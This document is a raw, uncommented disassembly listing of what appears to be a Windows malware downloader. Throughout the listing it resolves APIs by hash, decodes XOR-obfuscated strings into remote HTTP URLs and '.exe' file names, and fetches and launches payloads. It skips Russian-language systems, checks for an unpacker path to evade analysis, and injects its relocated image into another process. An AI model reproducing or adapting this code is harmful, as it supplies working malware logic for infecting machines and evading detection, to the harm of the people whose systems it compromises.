		push	80000000h
		push	[ebp+arg_4]
		call	eax
		push	0AEF7CBF1h
		push	1
		mov	[ebp+var_10], eax
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		push	[ebp+var_10]
		call	eax
		push	723EB0D5h
		push	1
		mov	[ebp+var_24], eax
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	[ebp+var_10]
		call	eax
		inc	[ebp+var_1C]
		cmp	dword_404104, 1Ch
		jge	short loc_401AE5
		inc	dword_404104

loc_401AE5:				; CODE XREF: sub_401721+3BCj
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_24]
		jz	short loc_401AFC
		cmp	[ebp+var_1C], 5
		jge	short loc_401AFC
		cmp	[ebp+arg_8], bl
		jnz	loc_4017DC

loc_401AFC:				; CODE XREF: sub_401721+3CAj
					; sub_401721+3D0j
		cmp	dword_404104, 5Ah
		pop	edi
		pop	esi
		jge	short loc_401B0D
		inc	dword_404104

loc_401B0D:				; CODE XREF: sub_401721+3E4j
		lea	ecx, [eax-2]
		cmp	ecx, 3FEh
		ja	short loc_401B1C
		xor	eax, eax
		jmp	short loc_401B6B
; ---------------------------------------------------------------------------

loc_401B1C:				; CODE XREF: sub_401721+3F5j
		cmp	[ebp+arg_8], bl
		jz	short loc_401B68
		add	eax, 0FFFFFBFFh
		cmp	eax, 48FDEh
		ja	short loc_401B68
		push	40h
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		mov	[ebp+var_7C], 44h
		call	sub_401080
		push	46318AC7h
		push	1
		call	sub_4010DC
		add	esp, 14h
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_7C]
		push	ecx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		push	ebx
		call	eax
		xor	eax, eax
		inc	eax
		jmp	short loc_401B6B
; ---------------------------------------------------------------------------

loc_401B68:				; CODE XREF: sub_401721+3FEj
					; sub_401721+40Aj
		or	eax, 0FFFFFFFFh

loc_401B6B:				; CODE XREF: sub_401721+3F9j
					; sub_401721+445j
		pop	ebx
		leave
		retn
sub_401721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B6E	proc near		; CODE XREF: sub_402908:loc_402C55p
					; DATA XREF: sub_40275A+149o

var_3B8		= byte ptr -3B8h
var_2B8		= byte ptr -2B8h
var_1B8		= byte ptr -1B8h
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_188		= byte ptr -188h
var_178		= byte ptr -178h
var_168		= byte ptr -168h
var_158		= byte ptr -158h
var_148		= byte ptr -148h
var_48		= byte ptr -48h
var_38		= byte ptr -38h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 3B8h
		push	ebx
		push	esi
		push	edi
		push	0Bh
		mov	esi, offset dword_404108
		push	esi
		push	offset dword_403034
		call	sub_401000
		mov	edi, 0C8AC8026h
		push	edi
		push	1
		call	sub_4010DC
		add	esp, 14h
		push	esi
		call	eax
		push	0Ah
		push	esi
		push	offset aVpfq01Goo ; "vpfq01-goo"
		call	sub_401000
		push	edi
		push	1
		call	sub_4010DC
		add	esp, 14h
		push	esi
		call	eax
		push	0Ch
		push	esi
		push	offset aHfqmfo01Goo ; "hfqmfo01-goo"
		call	sub_401000
		push	edi
		push	1
		call	sub_4010DC
		add	esp, 14h
		push	esi
		call	eax
		push	3Dh
		pop	eax
		push	0FFFFFFF3h
		pop	ecx

loc_401BDB:				; CODE XREF: sub_401B6E+82j
		cmp	ecx, 98h
		ja	short loc_401BE5
		inc	eax
		inc	ecx

loc_401BE5:				; CODE XREF: sub_401B6E+73j
		add	eax, 16h
		add	ecx, 16h
		cmp	eax, 0A5h
		jl	short loc_401BDB
		push	7A813811h
		xor	ebx, ebx
		push	1
		mov	dword_404104, eax
		mov	[ebp+var_28], ebx
		call	sub_4010DC
		pop	ecx
		pop	ecx
		call	eax
		cmp	dword_404104, 0CBh
		movzx	eax, ax
		mov	[ebp+var_24], eax
		jge	short loc_401C24
		inc	dword_404104

loc_401C24:				; CODE XREF: sub_401B6E+AEj
		push	3
		push	esi
		push	offset a@9_	; "@9_"
		call	sub_401000
		push	67ECDE97h
		push	1
		call	sub_4010DC
		add	esp, 14h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [ebp+var_28]
		push	ecx
		push	ebx
		push	ebx
		push	esi
		call	eax
		push	2
		push	esi
		push	offset aG	; "&g"
		call	sub_401000
		push	[ebp+var_28]
		lea	eax, [ebp+var_48]
		push	esi
		push	eax
		call	dword_403014	; wsprintfA
		add	esp, 18h
		push	0Fh
		pop	eax
		push	0FFFFFFF9h
		pop	ecx

loc_401C71:				; CODE XREF: sub_401B6E+116j
		cmp	ecx, 0C5h
		ja	short loc_401C7B
		inc	eax
		inc	ecx

loc_401C7B:				; CODE XREF: sub_401B6E+109j
		add	eax, 24h
		add	ecx, 24h
		cmp	eax, 7Ch
		jl	short loc_401C71
		push	0Dh
		push	esi
		push	offset a_bhebVsuFF ; "_bheb{vsu-f{f"
		mov	dword_404104, eax
		call	sub_401000
		mov	edi, dword_403000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_1B8]
		push	eax
		call	edi	; lstrcpy
		push	0Ch
		push	esi
		push	offset a_NaksruFF ; "_{naksru-f{f"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_1A8]
		push	eax
		call	edi	; lstrcpy
		push	9
		push	esi
		push	offset a_eobfFF	; "_eobf-f{f"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_198]
		push	eax
		call	edi	; lstrcpy
		push	0Bh
		push	esi
		push	offset a_irlsjnFF ; "_irlsjn-f{f"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_188]
		push	eax
		call	edi	; lstrcpy
		push	0Dh
		push	esi
		push	offset a_vogqdpqFF ; "_vogqdpq{-f{f"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_178]
		push	eax
		call	edi	; lstrcpy
		push	9
		push	esi
		push	offset a_AtqFF	; "_`atq-f{f"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_168]
		push	eax
		call	edi	; lstrcpy
		push	0Ch
		push	esi
		push	offset a_wfiperoFF ; "_wfipero-f{f"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_158]
		push	eax
		call	edi	; lstrcpy
		cmp	word ptr [ebp+var_24], 419h
		jz	loc_402365
		call	sub_401059
		test	eax, eax
		jnz	loc_402365
		call	sub_4012A6
		test	al, al
		jz	short loc_401D70
		push	ebx
		call	sub_401436
		pop	ecx

loc_401D70:				; CODE XREF: sub_401B6E+1F9j
		mov	[ebp+var_20], ebx
		mov	ebx, dword_40300C

loc_401D79:				; CODE XREF: sub_401B6E+596j
		cmp	[ebp+var_20], 0
		push	24h
		push	esi
		jnz	short loc_401D89
		push	offset aKwws9AQumzfpLn ; "kwws9,,{a{{qumzfp-`ln,sqldp,hdntaoj,"
		jmp	short loc_401D8E
; ---------------------------------------------------------------------------

loc_401D89:				; CODE XREF: sub_401B6E+212j
		push	offset aKwws9RataoIhad ; "kwws9,,ratao`ihad-`ln,sqldp,hdntaoj,"

loc_401D8E:				; CODE XREF: sub_401B6E+219j
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_3B8]
		push	eax
		call	edi	; lstrcpy
		push	3
		push	esi
		push	offset a9_	; "`9_"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	17h
		push	esi
		push	offset aQeAvjfpSksBguB ; "qe{avjfp-sks<bgu>bgu75;"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	0
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_401721
		add	esp, 0Ch
		push	2
		push	esi
		push	offset a9	; "`9"
		call	sub_401000
		add	esp, 0Ch
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	edi	; lstrcpy
		cmp	word ptr [ebp+var_24], 410h
		jnz	short loc_401E85
		lea	eax, [ebp+var_1A8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	0Ah
		push	esi
		push	offset aUptfnbHkk ; "uptfnb{hkk"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_401721
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		jmp	loc_40208A
; ---------------------------------------------------------------------------

loc_401E85:				; CODE XREF: sub_401B6E+2BBj
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	0Eh
		push	esi
		push	offset aBdytedrbwuSks ;	"bdytedrbwu-sks"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_401721
		push	2
		push	esi
		push	offset a9	; "`9"
		mov	[ebp+var_C], eax
		call	sub_401000
		add	esp, 18h
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_178]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	0Ch
		push	esi
		push	offset aRrqngodlSks ; "rrqngodl-sks"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_401721
		add	[ebp+var_C], eax
		push	2
		push	esi
		push	offset a9	; "`9"
		call	sub_401000
		add	esp, 18h
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	9
		push	esi
		push	offset aPwhHSks	; "pwh`h-sks"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_401721
		add	[ebp+var_C], eax
		push	2
		push	esi
		push	offset a9	; "`9"
		call	sub_401000
		add	esp, 18h
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_198]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	0Dh
		push	esi
		push	offset aWeGgmaazSks ; "we{ggmaaz-sks"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_401721
		add	[ebp+var_C], eax
		push	2
		push	esi
		push	offset a9	; "`9"
		call	sub_401000
		add	esp, 18h
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_188]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	0Bh
		push	esi
		push	offset aLljOzaSks ; "llj{oza-sks"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_401721
		add	esp, 0Ch
		add	[ebp+var_C], eax

loc_40208A:				; CODE XREF: sub_401B6E+312j
		push	2
		push	esi
		push	offset a9	; "`9"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_158]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	7
		push	esi
		push	offset aGrurkqn	; "grurkqn"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_401721
		add	eax, [ebp+var_C]
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_40210F
		inc	[ebp+var_20]
		cmp	[ebp+var_20], 2
		jl	loc_401D79
		jmp	loc_402363
; ---------------------------------------------------------------------------

loc_40210F:				; CODE XREF: sub_401B6E+58Dj
		push	3
		push	esi
		push	offset a9_	; "`9_"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		cmp	dword_404104, 0
		jl	short loc_402155
		inc	dword_404104

loc_402155:				; CODE XREF: sub_401B6E+5DFj
		cmp	dword_404104, 0DAh
		jle	short loc_40216B
		mov	dword_404104, 20h

loc_40216B:				; CODE XREF: sub_401B6E+5F1j
		push	1Ch
		push	esi
		push	offset aNobjtSksBguBgu ; "nobjt{-sks<bgu>bgu75;%`lgf2>"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	270118E2h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_38]
		push	ecx
		call	eax
		mov	eax, dword_404104
		add	eax, 0FFFFFFDAh
		cmp	eax, 0B6h
		ja	short loc_4021AE
		inc	dword_404104

loc_4021AE:				; CODE XREF: sub_401B6E+638j
		push	2
		push	esi
		mov	edi, offset aV	; "&v"
		push	edi
		call	sub_401000
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	dword_403014	; wsprintfA
		mov	al, byte ptr [ebp+var_8]
		add	al, 1Dh
		add	esp, 18h
		cmp	byte ptr [ebp+var_8+1],	0
		mov	[ebp+var_13], al
		jnz	short loc_4021E3
		mov	[ebp+var_11], 30h
		jmp	short loc_4021EB
; ---------------------------------------------------------------------------

loc_4021E3:				; CODE XREF: sub_401B6E+66Dj
		mov	al, byte ptr [ebp+var_8+1]
		add	al, 13h
		mov	[ebp+var_11], al

loc_4021EB:				; CODE XREF: sub_401B6E+673j
		push	18h
		pop	eax
		push	0FFFFFFC4h
		pop	ecx

loc_4021F1:				; CODE XREF: sub_401B6E+695j
		cmp	ecx, 74h
		ja	short loc_4021F8
		inc	eax
		inc	ecx

loc_4021F8:				; CODE XREF: sub_401B6E+686j
		add	eax, 2Dh
		add	ecx, 2Dh
		cmp	eax, 0A2h
		jl	short loc_4021F1
		push	2
		push	esi
		push	edi
		mov	dword_404104, eax
		call	sub_401000
		movzx	eax, [ebp+var_2E]
		push	eax
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		call	dword_403014	; wsprintfA
		mov	al, byte ptr [ebp+var_4]
		add	al, 17h
		add	esp, 18h
		cmp	byte ptr [ebp+var_4+1],	0
		mov	[ebp+var_14], al
		jnz	short loc_40223A
		mov	[ebp+var_12], 30h
		jmp	short loc_402242
; ---------------------------------------------------------------------------

loc_40223A:				; CODE XREF: sub_401B6E+6C4j
		mov	al, byte ptr [ebp+var_4+1]
		add	al, 19h
		mov	[ebp+var_12], al

loc_402242:				; CODE XREF: sub_401B6E+6CAj
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		mov	[ebp+var_10], 0
		call	ebx	; lstrcat
		push	7
		push	esi
		push	offset aLgf1	; "%`lgf1>"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	270118E2h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_38]
		push	ecx
		call	eax
		mov	eax, dword_404104
		add	eax, 0FFFFFFB1h
		cmp	eax, 96h
		ja	short loc_402296
		inc	dword_404104

loc_402296:				; CODE XREF: sub_401B6E+720j
		push	2
		push	esi
		push	edi
		call	sub_401000
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	dword_403014	; wsprintfA
		mov	ax, [ebp+var_8]
		add	esp, 18h
		test	ah, ah
		mov	[ebp+var_1B], al
		mov	[ebp+var_1A], 30h
		jz	short loc_4022C4
		mov	[ebp+var_1A], ah

loc_4022C4:				; CODE XREF: sub_401B6E+751j
		cmp	dword_404104, 58h
		jge	short loc_4022D3
		inc	dword_404104

loc_4022D3:				; CODE XREF: sub_401B6E+75Dj
		push	2
		push	esi
		push	edi
		call	sub_401000
		movzx	eax, [ebp+var_2E]
		push	eax
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		call	dword_403014	; wsprintfA
		mov	ax, [ebp+var_4]
		add	esp, 18h
		test	ah, ah
		mov	[ebp+var_19], al
		mov	[ebp+var_1C], 30h
		jz	short loc_402301
		mov	[ebp+var_1C], ah

loc_402301:				; CODE XREF: sub_401B6E+78Ej
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		mov	[ebp+var_18], 0
		call	ebx	; lstrcat
		push	4
		push	esi
		push	offset aJg	; "%jg>"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	0
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_401721
		add	esp, 0Ch
		cmp	dword_404104, 0C3h
		jge	short loc_402363
		inc	dword_404104

loc_402363:				; CODE XREF: sub_401B6E+59Cj
					; sub_401B6E+7EDj
		xor	ebx, ebx

loc_402365:				; CODE XREF: sub_401B6E+1DFj
					; sub_401B6E+1ECj
		push	95902B19h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		call	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401B6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40237B	proc near		; DATA XREF: sub_40275A+60o
		push	esi
		push	edi
		mov	edi, 81F0F0DFh
		push	edi
		push	1
		call	sub_4010DC
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		jmp	short loc_4023C3
; ---------------------------------------------------------------------------

loc_402391:				; CODE XREF: sub_40237B+4Fj
		push	1297812Ch
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		call	eax
		cmp	eax, 2
		jz	short loc_4023CC
		push	3D9972F5h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	3E8h
		call	eax
		push	edi
		push	1
		call	sub_4010DC

loc_4023C3:				; CODE XREF: sub_40237B+14j
		pop	ecx
		pop	ecx
		push	esi
		call	eax
		test	eax, eax
		jz	short loc_402391

loc_4023CC:				; CODE XREF: sub_40237B+29j
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
sub_40237B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023D3	proc near		; CODE XREF: sub_40275A+14Ep
					; sub_402908+141p ...

var_310		= dword	ptr -310h
var_260		= dword	ptr -260h
var_44		= byte ptr -44h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 310h
		push	ebx
		push	esi
		push	edi
		call	sub_4010D8
		and	eax, 0FFFF0000h
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		mov	[ebp+var_18], eax
		lea	eax, [ecx+18h]
		mov	esi, [eax+38h]
		mov	[ebp+var_14], eax
		mov	eax, dword_404104
		add	eax, 0FFFFFFA7h
		cmp	eax, 7Dh
		mov	[ebp+var_24], ecx
		mov	[ebp+var_1C], esi
		ja	short loc_402413
		inc	dword_404104

loc_402413:				; CODE XREF: sub_4023D3+38j
		push	0A08B638Ch
		xor	ebx, ebx
		push	1
		mov	[ebp+var_1], bl
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	9
		call	eax
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		and	edi, 3Ch
		add	edi, 4
		cmp	dword_404104, 0DFh
		jge	short loc_402448
		inc	dword_404104

loc_402448:				; CODE XREF: sub_4023D3+6Dj
		push	0EF0A25B7h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		push	esi
		push	ebx
		push	edi
		push	ebx
		push	0FFFFFFFFh
		call	eax
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	short loc_40246D
		xor	al, al
		jmp	loc_402755
; ---------------------------------------------------------------------------

loc_40246D:				; CODE XREF: sub_4023D3+91j
		push	5CD9430h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		push	ebx
		push	ebx
		push	2
		push	[ebp+var_C]
		call	eax
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_40271A
		cmp	dword_404104, 3
		jl	short loc_40249F
		inc	dword_404104

loc_40249F:				; CODE XREF: sub_4023D3+C4j
		cmp	dword_404104, 0F4h
		jle	short loc_4024B5
		mov	dword_404104, 19h

loc_4024B5:				; CODE XREF: sub_4023D3+D6j
		push	12h
		mov	esi, offset dword_404108
		push	esi
		push	offset aMwnbsujftlepfW ; "MwNbsUjftLePf`wjlm"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_44]
		push	eax
		call	dword_403000	; lstrcpy
		push	9
		push	esi
		push	offset aMwgooGoo ; "mwgoo-goo"
		call	sub_401000
		push	0C8AC8026h
		push	1
		call	sub_4010DC
		add	esp, 14h
		push	esi
		call	eax
		push	1FC0EAEEh
		push	1
		mov	esi, eax
		call	sub_4010DC
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_44]
		push	ecx
		push	esi
		call	eax
		push	4Eh
		pop	ecx
		push	0FFFFFFF1h
		mov	[ebp+var_10], ebx
		pop	edx

loc_402514:				; CODE XREF: sub_4023D3+157j
		cmp	edx, 99h
		ja	short loc_40251E
		inc	ecx
		inc	edx

loc_40251E:				; CODE XREF: sub_4023D3+147j
		add	ecx, 0Dh
		add	edx, 0Dh
		cmp	ecx, 0B3h
		jl	short loc_402514
		mov	esi, [ebp+var_1C]
		push	edi
		push	ebx
		push	1
		mov	dword_404104, ecx
		lea	ecx, [ebp+var_20]
		push	ecx
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+arg_4]
		mov	[ebp+var_20], esi
		push	[ebp+var_C]
		call	eax
		mov	edi, [ebp+var_18]
		push	esi
		push	edi
		push	[ebp+var_8]
		call	sub_4010B3
		mov	eax, dword_404104
		lea	ecx, [eax-6]
		add	esp, 0Ch
		cmp	ecx, 0C3h
		ja	short loc_402575
		inc	eax
		mov	dword_404104, eax

loc_402575:				; CODE XREF: sub_4023D3+19Aj
		mov	ecx, [ebp+var_24]
		movzx	ecx, word ptr [ecx+14h]
		add	ecx, [ebp+var_14]
		cmp	eax, 27h
		jge	short loc_40258A
		inc	eax
		mov	dword_404104, eax

loc_40258A:				; CODE XREF: sub_4023D3+1AFj
		mov	esi, [ebp+var_10]
		mov	edx, esi
		sub	edx, edi
		mov	[ebp+var_14], edx
		lea	edx, [eax-2Ah]
		cmp	edx, 0C8h
		ja	short loc_4025A5
		inc	eax
		mov	dword_404104, eax

loc_4025A5:				; CODE XREF: sub_4023D3+1CAj
		mov	eax, [ecx+34h]
		add	eax, edi

loc_4025AA:				; CODE XREF: sub_4023D3+1E8j
		cmp	word ptr [eax],	0BE8Dh
		jnz	short loc_4025BA
		cmp	dword ptr [eax+6], 0C009078Bh
		jz	short loc_4025BD

loc_4025BA:				; CODE XREF: sub_4023D3+1DCj
		inc	eax
		jmp	short loc_4025AA
; ---------------------------------------------------------------------------

loc_4025BD:				; CODE XREF: sub_4023D3+1E5j
		mov	eax, [eax+2]
		add	eax, [ecx+0Ch]
		add	eax, edi
		jmp	short loc_4025D4
; ---------------------------------------------------------------------------

loc_4025C7:				; CODE XREF: sub_4023D3+203j
		add	eax, 8
		jmp	short loc_4025CD
; ---------------------------------------------------------------------------

loc_4025CC:				; CODE XREF: sub_4023D3+1FDj
		inc	eax

loc_4025CD:				; CODE XREF: sub_4023D3+1F7j
		cmp	[eax], bx
		jnz	short loc_4025CC
		inc	eax
		inc	eax

loc_4025D4:				; CODE XREF: sub_4023D3+1F2j
		cmp	[eax], ebx
		jnz	short loc_4025C7
		push	2Ch
		pop	edi
		push	0FFFFFFC8h
		pop	edx

loc_4025DE:				; CODE XREF: sub_4023D3+21Ej
		cmp	edx, 70h
		ja	short loc_4025E5
		inc	edi
		inc	edx

loc_4025E5:				; CODE XREF: sub_4023D3+20Ej
		add	edi, 1Bh
		add	edx, 1Bh
		cmp	edi, 97h
		jl	short loc_4025DE
		mov	edx, [ebp+var_8]
		mov	dword_404104, edi
		mov	ecx, [ecx+0Ch]
		add	eax, 4
		lea	edx, [ecx+edx-4]
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jz	short loc_40263D

loc_40260D:				; CODE XREF: sub_4023D3+25Fj
		cmp	cl, 0F0h
		jnb	short loc_402619
		movzx	ecx, cl
		add	edx, ecx
		jmp	short loc_402628
; ---------------------------------------------------------------------------

loc_402619:				; CODE XREF: sub_4023D3+23Dj
		movzx	esi, word ptr [eax]
		and	ecx, 0Fh
		shl	ecx, 10h
		or	ecx, esi
		add	edx, ecx
		inc	eax
		inc	eax

loc_402628:				; CODE XREF: sub_4023D3+244j
		mov	ecx, [ebp+var_14]
		add	[edx], ecx
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_40260D
		mov	esi, [ebp+var_10]
		mov	edi, dword_404104

loc_40263D:				; CODE XREF: sub_4023D3+238j
		lea	eax, [edi-9]
		cmp	eax, 0D5h
		ja	short loc_40264E
		inc	edi
		mov	dword_404104, edi

loc_40264E:				; CODE XREF: sub_4023D3+272j
		sub	esi, [ebp+var_18]
		add	esi, [ebp+arg_0]
		cmp	[ebp+arg_8], ebx
		mov	edi, esi
		jnz	short loc_40269F
		push	0E61874B3h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	ebx
		push	ebx
		push	ebx
		push	edi
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		call	eax
		push	723EB0D5h
		push	1
		mov	edi, eax
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	edi
		call	eax
		cmp	dword_404104, 0A7h
		mov	[ebp+var_1], 1
		jge	short loc_402707
		inc	dword_404104
		jmp	short loc_402707
; ---------------------------------------------------------------------------

loc_40269F:				; CODE XREF: sub_4023D3+286j
		push	0AA1DE02Fh
		push	1
		mov	[ebp+var_310], 10002h
		call	sub_4010DC
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_310]
		push	ecx
		push	[ebp+arg_8]
		call	eax
		push	0AA1DC82Fh
		push	1
